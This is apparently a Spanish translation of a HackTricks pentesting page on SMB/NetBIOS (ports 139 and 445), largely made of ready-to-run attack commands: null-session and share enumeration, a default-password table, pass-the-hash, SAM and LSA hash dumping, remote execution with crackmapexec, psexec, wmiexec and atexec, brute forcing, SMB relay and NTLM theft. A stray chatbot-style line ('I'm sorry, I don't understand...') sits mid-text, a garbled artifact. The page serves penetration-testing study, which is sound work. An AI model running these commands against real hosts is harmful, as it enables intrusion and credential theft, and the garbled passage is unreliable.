## **Puerto 139** **NetBIOS** significa _Network Basic Input Output System_. Es un protocolo de software que permite a las aplicaciones, PC y escritorios en una red de área local (LAN) comunicarse con el hardware de red y transmitir datos a través de la red. Las aplicaciones de software que se ejecutan en una red NetBIOS se localizan e identifican entre sí a través de sus nombres NetBIOS. Un nombre NetBIOS tiene hasta 16 caracteres y generalmente es diferente del nombre de la computadora. Dos aplicaciones inician una sesión NetBIOS cuando una (el cliente) envía un comando para "llamar" a otro cliente (el servidor) a través del **Puerto TCP 139**. (extraído de [aquí](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)) ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Puerto 445 Mientras que el Puerto 139 es conocido técnicamente como 'NBT sobre IP', el Puerto 445 es 'SMB sobre IP'. **SMB** significa 'Server Message Blocks'. Server Message Block en lenguaje moderno también es conocido como **Common Internet File System**. El sistema opera como un protocolo de red de capa de aplicación utilizado principalmente para ofrecer acceso compartido a archivos, impresoras, puertos seriales y otros tipos de comunicaciones entre nodos en una red. Por ejemplo, en Windows, SMB puede ejecutarse directamente sobre TCP/IP sin necesidad de NetBIOS sobre TCP/IP. Esto usará, como se señala, el puerto 445. En otros sistemas, encontrará servicios y aplicaciones que utilizan el puerto 139. Esto significa que SMB se está ejecutando con NetBIOS sobre TCP/IP. (extraído de [aquí](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)) ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB Server Message Block (`SMB`) es un protocolo **cliente-servidor** que regula el **acceso a archivos** y directorios completos y otros recursos de red como impresoras, routers o interfaces liberadas para la red. El área de aplicación principal del protocolo ha sido la serie de sistemas operativos **Windows** en particular, cuyos servicios de red admiten SMB de manera compatible hacia abajo, lo que significa que los dispositivos con ediciones más nuevas pueden comunicarse fácilmente con dispositivos que tienen instalado un sistema operativo Microsoft más antiguo.\ Con el proyecto de software libre **Samba**, también hay una solución que permite el uso de **SMB en distribuciones Linux** y Unix y, por lo tanto, la comunicación entre plataformas a través de SMB. Un servidor SMB puede proporcionar **partes arbitrarias de su sistema de archivos local como recursos compartidos**. Por lo tanto, la **jerarquía visible** para un cliente es parcialmente **independiente** de la **estructura** en el **servidor**. Los **derechos de acceso** se definen mediante `Listas de control de acceso` (`ACL`). Se pueden controlar de manera **detallada** en función de atributos como **`ejecutar`**, **`leer`** y **`acceso completo`** para usuarios individuales o grupos de usuarios. Los **ACL** se definen **en función de los recursos compartidos** y, por lo tanto, no corresponden a los derechos asignados localmente en el servidor. ### Recurso compartido IPC$ Del libro _**Network Security Assessment 3rd edition**_ Con una sesión nula anónima, puede acceder al recurso compartido IPC$ e interactuar con los servicios expuestos a través de tuberías con nombre. La utilidad enum4linux dentro de Kali Linux es particularmente útil; con ella, puede obtener lo siguiente: * Información del sistema operativo * Detalles del dominio principal * Una lista de usuarios y grupos locales * Detalles de los recursos compartidos SMB disponibles * La política de seguridad efectiva del sistema ## ¿Qué es NTLM? Si no sabe qué es NTLM o desea saber cómo funciona y cómo abusar de él, encontrará muy interesante esta página sobre **NTLM** donde se explica **cómo funciona este protocolo y cómo puede aprovecharlo:** {% content-ref url="../windows-hardening/ntlm/" %} [ntlm](../windows-hardening/ntlm/) {% endcontent-ref %} ## **Enumeración del servidor** ### **Escanear** una red en busca de hosts: ```bash nbtscan -r 192.168.0.1/24 ``` ### Versión del servidor SMB Para buscar posibles exploits en la versión SMB es importante saber qué versión se está utilizando. Si esta información no aparece en otras herramientas utilizadas, se puede: * Usar el módulo auxiliar de **MSF** \_**auxiliary/scanner/smb/smb\_version** * O utilizar este script: ```bash #!/bin/sh #Author: rewardone #Description: # Requires root or enough permissions to use tcpdump # Will listen for the first 7 packets of a null login # and grab the SMB Version #Notes: # Will sometimes not capture or will print multiple # lines. May need to run a second time for success. if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi if [ ! -z $2 ]; then rport=$2; else rport=139; fi tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " & echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "" && sleep .1 ``` ### **Buscar exploit** ```bash msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` ### Posibles Credenciales | **Nombre de usuario(s)** | **Contraseñas comunes** | | ----------------------- | ------------------------------------------| | _(en blanco)_ | _(en blanco)_ | | invitado | _(en blanco)_ | | Administrador, admin | _(en blanco)_, contraseña, administrador, admin | | arcserve | arcserve, backup | | tivoli, tmersrvd | tivoli, tmersrvd, admin | | backupexec, backup | backupexec, backup, arcada | | prueba, lab, demo | contraseña, prueba, lab, demo | ### Información del entorno SMB ### Obtener información ```bash #Dump interesting information enum4linux -a [-u "" -p ""] enum4linux-ng -A [-u "" -p ""] nmap --script "safe or smb-enum-*" -p 445 #Connect to the rpc rpcclient -U "" -N #No creds rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash rpcclient -U "username%passwd" #With creds #You can use querydispinfo and enumdomusers to query user information #Dump user information /usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@] #Map possible RPC endpoints /usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` ### Enumerar Usuarios, Grupos y Usuarios Conectados Para enumerar usuarios, grupos y usuarios conectados en un sistema SMB, se pueden utilizar varias herramientas y técnicas. #### Herramientas - `enum4linux`: una herramienta de enumeración de SMB que se enfoca en enumerar usuarios y grupos, así como información de la máquina y el sistema operativo. - `smbmap`: una herramienta de enumeración de SMB que se enfoca en enumerar recursos compartidos, permisos y usuarios. - `smbclient`: una herramienta de línea de comandos de SMB que se puede utilizar para conectarse a un recurso compartido y enumerar usuarios y grupos. #### Técnicas - Enumeración de usuarios y grupos: se puede utilizar la herramienta `enum4linux` para enumerar usuarios y grupos en un sistema SMB. Por ejemplo, para enumerar usuarios, se puede ejecutar el comando `enum4linux -U ` y para enumerar grupos, se puede ejecutar el comando `enum4linux -G `. - Enumeración de usuarios conectados: se puede utilizar la herramienta `smbmap` para enumerar usuarios conectados a un recurso compartido. Por ejemplo, para enumerar usuarios conectados a un recurso compartido llamado `share`, se puede ejecutar el comando `smbmap -u -p -H -R share`. También se puede utilizar la herramienta `smbclient` para conectarse a un recurso compartido y enumerar usuarios conectados. Por ejemplo, para conectarse a un recurso compartido llamado `share` y enumerar usuarios conectados, se puede ejecutar el comando `smbclient -U -P -L ///share`. ```bash # This info should already being gathered from enum4linux and enum4linux-ng crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u -p ] ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " " rpcclient -U "" -N 10.10.10.10 enumdomusers enumdomgroups # Impacket - Enumerate local users lookupsid.py -no-pass hostname.local # Metasploit - Enumerate local users use auxiliary/scanner/smb/smb_lookupsid set rhosts hostname.local run ``` ### **Enumerando LSARPC y SAMR rpcclient** {% content-ref url="pentesting-smb/rpcclient-enumeration.md" %} [rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md) {% endcontent-ref %} ### Conexión GUI desde Linux #### En la terminal: `xdg-open smb://cascade.htb/` #### En la ventana del explorador de archivos (nautilus, thunar, etc) `smb://friendzone.htb/general/` ## Enumeración de carpetas compartidas ### Listar carpetas compartidas Siempre es recomendable buscar si se puede acceder a algo, si no se tienen credenciales, intente usar **credenciales nulas/usuario invitado**. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash smbmap -H [-P ] #Null user smbmap -u "username" -p "password" -H [-P ] #Creds smbmap -u "username" -p ":" -H [-P ] #Pass-the-Hash smbmap -R -u "username" -p "password" -H [-P ] #Recursive list crackmapexec smb -u '' -p '' --shares #Null user crackmapexec smb -u 'username' -p 'password' --shares #Guest user crackmapexec smb -u 'username' -H '' --shares #Guest user ``` ### **Conectar/Listar una carpeta compartida** Para conectarse a una carpeta compartida en un servidor SMB, se puede utilizar el comando `smbclient`. Por ejemplo, para conectarse a una carpeta compartida llamada `shared_folder` en un servidor con dirección IP `192.168.1.10`, se puede utilizar el siguiente comando: ``` smbclient //192.168.1.10/shared_folder ``` Una vez conectado, se puede utilizar el comando `ls` para listar los archivos y carpetas en la carpeta compartida. También se puede utilizar el comando `smbtree` para listar todas las carpetas compartidas en un servidor SMB. Por ejemplo: ``` smbtree -N ``` Este comando mostrará una lista de todas las carpetas compartidas en el servidor, junto con sus nombres y ubicaciones. ```bash #Connect using smbclient smbclient --no-pass /// smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash #Use --no-pass -c 'recurse;ls' to list recursively with smbclient #List with smbmap, without folder it list everything smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive list smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` ### **Enumerar manualmente los recursos compartidos de Windows y conectarse a ellos** Es posible que esté restringido para mostrar cualquier recurso compartido de la máquina anfitriona y cuando intenta listarlos, parece que no hay recursos compartidos a los que conectarse. Por lo tanto, puede valer la pena intentar conectarse manualmente a un recurso compartido. Para enumerar los recursos compartidos manualmente, es posible que desee buscar respuestas como NT\_STATUS\_ACCESS\_DENIED y NT\_STATUS\_BAD\_NETWORK\_NAME, cuando se utiliza una sesión válida (por ejemplo, una sesión nula o credenciales válidas). Estas pueden indicar si el recurso compartido existe y no tiene acceso a él o si el recurso compartido no existe en absoluto. Los nombres comunes de recursos compartidos para objetivos de Windows son: * C$ * D$ * ADMIN$ * IPC$ * PRINT$ * FAX$ * SYSVOL * NETLOGON (Nombres comunes de recursos compartidos de _**Network Security Assessment 3rd edition**_) Puede intentar conectarse a ellos utilizando el siguiente comando: ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` o este script (usando una sesión nula) ```bash #/bin/bash ip='' shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON') for share in ${shares[*]}; do output=$(smbclient -U '%' -N \\\\$ip\\$share -c '') if [[ -z $output ]]; then echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created else echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME) fi done ``` I'm sorry, I don't understand what you're asking for. Could you please provide more context or clarify your request? ```bash smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` ### Montar una carpeta compartida ```bash mount -t cifs //x.x.x.x/share /mnt/share mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **Descargar archivos** Lea las secciones anteriores para aprender cómo conectarse con credenciales/Pass-the-Hash. ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap ``` ```bash #Download all smbclient /// > mask "" > recurse > prompt > mget * #Download everything to current directory ``` Comandos: * mask: especifica la máscara que se utiliza para filtrar los archivos dentro del directorio (por ejemplo, "" para todos los archivos) * recurse: activa la recursión (por defecto: desactivada) * prompt: desactiva la solicitud de nombres de archivo (por defecto: activada) * mget: copia todos los archivos que coinciden con la máscara del host a la máquina cliente (_Información de la página del manual de smbclient_) ### Búsqueda de carpetas compartidas de dominio * [**Snaffler**](https://github.com/SnaffCon/Snaffler)**** ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` * [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) araña. * `-M spider_plus [--share ]` * `--pattern txt` ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` Especialmente interesantes son los archivos llamados **`Registry.xml`** ya que **pueden contener contraseñas** para usuarios configurados con **autologon** a través de la Política de Grupo. O archivos **`web.config`** ya que contienen credenciales. {% hint style="info" %} El recurso compartido **SYSVOL** es **legible** por todos los usuarios autenticados en el dominio. Allí puedes **encontrar** muchos scripts diferentes de batch, VBScript y PowerShell.\ Deberías **revisar** los **scripts** dentro de él ya que podrías **encontrar** información sensible como **contraseñas**. {% endhint %} ## Leer Registro Es posible que puedas **leer el registro** usando algunas credenciales descubiertas. Impacket **`reg.py`** te permite intentarlo: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s ``` ## Post Explotación La configuración **predeterminada** de un servidor **Samba** generalmente se encuentra en `/etc/samba/smb.conf` y puede tener algunas configuraciones **peligrosas**: | **Configuración** | **Descripción** | | --------------------------- | ------------------------------------------------------------------- | | `browseable = yes` | ¿Permite listar los recursos compartidos disponibles en el recurso compartido actual? | | `read only = no` | ¿Prohíbe la creación y modificación de archivos? | | `writable = yes` | ¿Permite a los usuarios crear y modificar archivos? | | `guest ok = yes` | ¿Permite conectarse al servicio sin usar una contraseña? | | `enable privileges = yes` | ¿Respeta los privilegios asignados a SID específicos? | | `create mask = 0777` | ¿Qué permisos se deben asignar a los archivos recién creados? | | `directory mask = 0777` | ¿Qué permisos se deben asignar a los directorios recién creados? | | `logon script = script.sh` | ¿Qué script debe ejecutarse en el inicio de sesión del usuario? | | `magic script = script.sh` | ¿Qué script debe ejecutarse cuando se cierra el script? | | `magic output = script.out` | ¿Dónde se debe almacenar la salida del script mágico? | El comando `smbstatus` proporciona información sobre el **servidor** y sobre **quién está conectado**. ## Autenticación usando Kerberos Puede **autenticarse** en **Kerberos** utilizando las herramientas **smbclient** y **rpcclient**: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com ``` ## **Ejecutar Comandos** ### **crackmapexec** crackmapexec puede ejecutar comandos **abusando** de cualquiera de los métodos **mmcexec, smbexec, atexec, wmiexec** siendo **wmiexec** el método **predeterminado**. Puedes indicar qué opción prefieres usar con el parámetro `--exec-method`: ```bash apt-get install crackmapexec crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd crackmapexec smb 192.168.10.11 -u Administrator -H -x whoami #Pass-the-Hash # Using --exec-method {mmcexec,smbexec,atexec,wmiexec} crackmapexec smb -d -u Administrator -p 'password' --sam #Dump SAM crackmapexec smb -d -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes crackmapexec smb -d -u Administrator -p 'password' --sessions #Get sessions ( crackmapexec smb -d -u Administrator -p 'password' --loggedon-users #Get logged-on users crackmapexec smb -d -u Administrator -p 'password' --disks #Enumerate the disks crackmapexec smb -d -u Administrator -p 'password' --users #Enumerate users crackmapexec smb -d -u Administrator -p 'password' --groups # Enumerate groups crackmapexec smb -d -u Administrator -p 'password' --local-groups # Enumerate local groups crackmapexec smb -d -u Administrator -p 'password' --pass-pol #Get password policy crackmapexec smb -d -u Administrator -p 'password' --rid-brute #RID brute crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md) Ambas opciones **crearán un nuevo servicio** (usando _\pipe\svcctl_ a través de SMB) en la máquina víctima y lo utilizarán para **ejecutar algo** (**psexec** **subirá** un archivo ejecutable al recurso ADMIN$ y **smbexec** apuntará a **cmd.exe/powershell.exe** y pondrá en los argumentos el payload --técnica sin archivo--).\ **Más información** sobre [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md) y [**smbexec**](../windows-hardening/ntlm/smbexec.md).\ En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted ./psexec.py [[domain/]username[:password]@] ./psexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` Usando el **parámetro** `-k` puedes autenticarte contra **kerberos** en lugar de **NTLM** ### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec Ejecuta sigilosamente una shell de comandos sin tocar el disco o ejecutar un nuevo servicio usando DCOM a través del **puerto 135.**\ En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted ./wmiexec.py [[domain/]username[:password]@] #Prompt for password ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` Usando el **parámetro** `-k` puedes autenticarte contra **kerberos** en lugar de **NTLM**. ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] ./dcomexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` ### [AtExec](../windows-hardening/ntlm/atexec.md) Ejecutar comandos a través del Programador de tareas (usando _\pipe\atsvc_ a través de SMB).\ En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/ ```bash ./atexec.py [[domain/]username[:password]@] "command" ./atexec.py -hashes administrator@10.10.10.175 "whoami" ``` ## Referencia de Impacket [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) ## **Fuerza bruta de credenciales de usuarios** **Esto no es recomendable, ya que podrías bloquear una cuenta si excedes el número máximo de intentos permitidos.** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` ## Ataque de relé SMB Este ataque utiliza la herramienta Responder para **capturar sesiones de autenticación SMB** en una red interna y **retransmitirlas** a una **máquina objetivo**. Si la **sesión de autenticación es exitosa**, automáticamente se accede a una **shell del sistema**.\ [**Más información sobre este ataque aquí.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap La biblioteca de Windows URLMon.dll intenta automáticamente autenticarse en el host cuando una página intenta acceder a algún contenido a través de SMB, por ejemplo: `img src="\\10.10.10.10\path\image.jpg"` Esto sucede con las funciones: * URLDownloadToFile * URLDownloadToCache * URLOpenStream * URLOpenBlockingStream Que son utilizadas por algunos navegadores y herramientas (como Skype) ![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>) ### SMBTrap usando MitMf ![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>) ## Robo de NTLM Similar al atrapamiento SMB, al colocar archivos maliciosos en un sistema objetivo (a través de SMB, por ejemplo) se puede provocar un intento de autenticación SMB, lo que permite interceptar el hash NetNTLMv2 con una herramienta como Responder. El hash puede ser descifrado sin conexión o utilizado en un [ataque de relé SMB](pentesting-smb.md#smb-relay-attack). [Ver: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft) ## Comandos automáticos de HackTricks ``` Protocol_Name: SMB #Protocol Abbreviation if there is one. Port_Number: 137,138,139 #Comma separated if there is more than one. Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for SMB Note: | While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network. #These are the commands I run in order every time I see an open SMB port With No Creds nbtscan {IP} smbmap -H {IP} smbmap -H {IP} -u null -p null smbmap -H {IP} -u guest smbclient -N -L //{IP} smbclient -N //{IP}/ --option="client min protocol"=LANMAN1 rpcclient {IP} rpcclient -U "" {IP} crackmapexec smb {IP} crackmapexec smb {IP} --pass-pol -u "" -p "" crackmapexec smb {IP} --pass-pol -u "guest" -p "" GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/" getArch.py -target {IP} With Creds smbmap -H {IP} -u {Username} -p {Password} smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash` crackmapexec smb {IP} -u {Username} -p {Password} --shares GetADUsers.py {Domain_Name}/{Username}:{Password} -all GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request https://book.hacktricks.xyz/pentesting/pentesting-smb Entry_2: Name: Enum4Linux Description: General SMB Scan Command: enum4linux -a {IP} Entry_3: Name: Nmap SMB Scan 1 Description: SMB Vuln Scan With Nmap Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP} Entry_4: Name: Nmap Smb Scan 2 Description: SMB Vuln Scan With Nmap (Less Specific) Command: nmap --script smb-vuln* -Pn -p 139,445 {IP} Entry_5: Name: Hydra Brute Force Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb Entry_6: Name: SMB/SMB2 139/445 consolesless mfs enumeration Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit' ```
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.